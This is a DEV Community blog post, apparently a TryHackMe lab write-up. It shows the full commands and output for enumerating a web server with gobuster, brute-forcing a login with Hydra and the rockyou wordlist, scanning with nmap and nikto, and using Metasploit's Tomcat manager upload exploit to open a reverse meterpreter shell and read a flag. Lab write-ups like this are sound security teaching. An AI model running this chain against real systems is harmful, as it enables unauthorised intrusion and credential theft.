DEV Community

Cover image for Enumeration To Exploitation Basics
Ziad Alezzi
Ziad Alezzi

Posted on

Enumeration To Exploitation Basics

#cybersecurity

In this TryHackMe room, we've been given a vulnerable target machine and a set of tools that we will use to eventually take over said machine.

The tools we'll be using are:

1- Gobuster

For directory enumeration

2- Hydra

For bruteforcing login credentials

3- Nmap

For reconnaissance and service discovery

4- Nikto

For web server scanning

5- Metasploit

For exploitation

Gobuster

The task is to find a directory secured (debatable) with a login. I ran gobuster to enumerate over the target machine's IP using the following command:

sudo gobuster dir 
-u http://10.113.163.236/ 
-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Enter fullscreen mode Exit fullscreen mode

Plain english:

Running gobuster in "dir" mode.
Url flag is the Target IP
Attaching a wordlist

gobuster

Going to /protected we find a simple login request

Login

TryHackMe provides us with a username (bob), but instructs us to fetch the password ourselves.. Which brings us to-!

Hydra

Hydra is a bruteforcing tools that tries out a bunch of potential credentials from a wordlist. The word list we're using here are the leaked credentials from RockYou (from the infamous rockyou data breach)

rock

The command I use is the following:

hydra -l bob 
-P /usr/share/wordlists/rockyou.txt 
-f 10.113.163.236 
http-get /protected/
Enter fullscreen mode Exit fullscreen mode

Plain english:

Start hydra and give it the username bob
Using the rockyou.txt wordlist
Setting the Target IP
Bruteforcing basic authentication at /protected

Hydra

We got a match! Bob's password is.. let's see.. "bubbles"

Hmm, not very safe is it? (atleast it's cute)

Next is EXPLOITATION!!
But don't get too excited just yet, first we need a vulnurability to exploit.
So onto reconnaissance!

Nmap & Nikto

First up is running nmap for some juicy open ports.
We'll use the following, simple command:

nmap -A --open 10.113.163.236
Enter fullscreen mode Exit fullscreen mode

Plain english:

Run Nmap with ALL searching tools (Very loud and easily detectable by firewalls)
Filter for only open ports at the Target IP

nmap

Here we find a web server (Apache Tomcat) running on the port 1234.

TryHackMe instructs us to use Nikto to scan the web server running on that port, though it doesnt really play an important role in this exploitation mission of ours.

But just for mention's sake, we run the following command:

sudo nikto -h http://10.114.129.154:1234/manager/html/ -id bob:bubbles
Enter fullscreen mode Exit fullscreen mode

Plain english:

Provide Nikto with the IP, port and /manager/html path (Instructed by TryHackMe
Provide Nikto with the credentials of bob

And we get to see some of the documents found on that web server:

nikto

Alright, enough with the boring stuff, we've already got enough to start searching for vulnurabilities (The server and it's version)

So onto exploitation!

Metasploit

Lets initialize Metasploit with msfconsole

root@ip-10-114-109-136:~# msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace 
true

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.4.144-dev-                              ]
+ -- --=[ 2,668 exploits - 1,342 auxiliary - 2,581 payloads     ]
+ -- --=[ 435 post - 57 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
Enter fullscreen mode Exit fullscreen mode

First up, is searching for vulnurabilities. So we'll run the search command:

search type:exploit name:tomcat
Enter fullscreen mode Exit fullscreen mode

Plain english:

Searching Metasploit's vulnurability database for exploits with the name Tomcat (the server running on port 1234)

From this we get a handful of choices

msf > search type:exploit name:tomcat

Matching Modules
================

   #   Full Name                                              Disclosure Date  Rank       Check  Name
   -   ---------                                              ---------------  ----       -----  ----
   0   exploit/windows/http/tomcat_cgi_cmdlineargs            2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
   1   exploit/multi/http/tomcat_mgr_deploy                   2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   2     \_ target: Automatic                                 .                .          .      .
   3     \_ target: Java Universal                            .                .          .      .
   4     \_ target: Windows Universal                         .                .          .      .
   5     \_ target: Linux x86                                 .                .          .      .
   6   exploit/multi/http/tomcat_mgr_upload                   2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
   7     \_ target: Java Universal                            .                .          .      .
   8     \_ target: Windows Universal                         .                .          .      .
   9     \_ target: Linux x86                                 .                .          .      .
   10  exploit/linux/local/tomcat_rhel_based_temp_priv_esc    2016-10-10       manual     Yes    Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation
   11  exploit/linux/local/tomcat_ubuntu_log_init_priv_esc    2016-09-30       manual     Yes    Apache Tomcat on Ubuntu Log Init Privilege Escalation
   12  exploit/multi/http/tomcat_partial_put_deserialization  2025-03-10       excellent  Yes    Tomcat Partial PUT Java Deserialization
   13    \_ target: Unix Command                              .                .          .      .
   14    \_ target: Windows Command                           .                .          .      .
   15  exploit/multi/http/tomcat_jsp_upload_bypass            2017-10-03       excellent  Yes    Tomcat RCE via JSP Upload Bypass
   16    \_ target: Automatic                                 .                .          .      .
   17    \_ target: Java Windows                              .                .          .      .
   18    \_ target: Java Linux                                .                .          .      .
Enter fullscreen mode Exit fullscreen mode

Our main focus however, is on exploit/multi/http/tomcat_mgr_upload
So let's use it, and check it's options:

msf > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_upload) > options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST                          no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.114.109.136   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Universal
Enter fullscreen mode Exit fullscreen mode

The required options are:
1- HttpPassword
2- HttpUsername
3- RHOSTS (Target IP Address)
4- RPORT (Target port number)

So let's add them in

msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername bob
HttpUsername => bob
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword bubbles
HttpPassword => bubbles
msf exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 10.114.129.154
RHOSTS => 10.114.129.154
msf exploit(multi/http/tomcat_mgr_upload) > set RPORT 1234
RPORT => 1234
Enter fullscreen mode Exit fullscreen mode

Finally, let's run that exploit and get us a meterpreter session!

msf exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 10.114.109.136:4444 
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying yn4U...
[*] Executing yn4U...
[*] Undeploying yn4U ...
[*] Sending stage (58073 bytes) to 10.114.129.154
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (10.114.109.136:4444 -> 10.114.129.154:54126) at 2026-09-10 08:20:30 +0000

meterpreter >
Enter fullscreen mode Exit fullscreen mode

Woohoo! We got full access now, so lets fetch that flag!

meterpreter > ls
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100667/rw-rw-rwx  47    fil   2019-03-11 16:06:14 +0000  .bash_history
100667/rw-rw-rwx  3106  fil   2015-10-22 17:15:21 +0000  .bashrc
040777/rwxrwxrwx  4096  dir   2019-03-11 15:30:33 +0000  .nano
100667/rw-rw-rwx  148   fil   2015-08-17 15:30:33 +0000  .profile
040777/rwxrwxrwx  4096  dir   2019-03-10 21:52:32 +0000  .ssh
100667/rw-rw-rwx  658   fil   2019-03-11 16:05:22 +0000  .viminfo
100666/rw-rw-rw-  33    fil   2019-03-11 16:05:22 +0000  flag.txt
040776/rwxrwxrw-  4096  dir   2019-03-10 21:52:43 +0000  snap

meterpreter > cat flag.txt
ff1fc4a81affcc7688cf89ae7dc6e0e1
Enter fullscreen mode Exit fullscreen mode

flag

That's a job well done. And im proud of myself.

This Was SQLMap

lucirie (Ziad Alezzi) · GitHub

lucirie has 35 repositories available. Follow their code on GitHub.

favicon github.com

Top comments (0)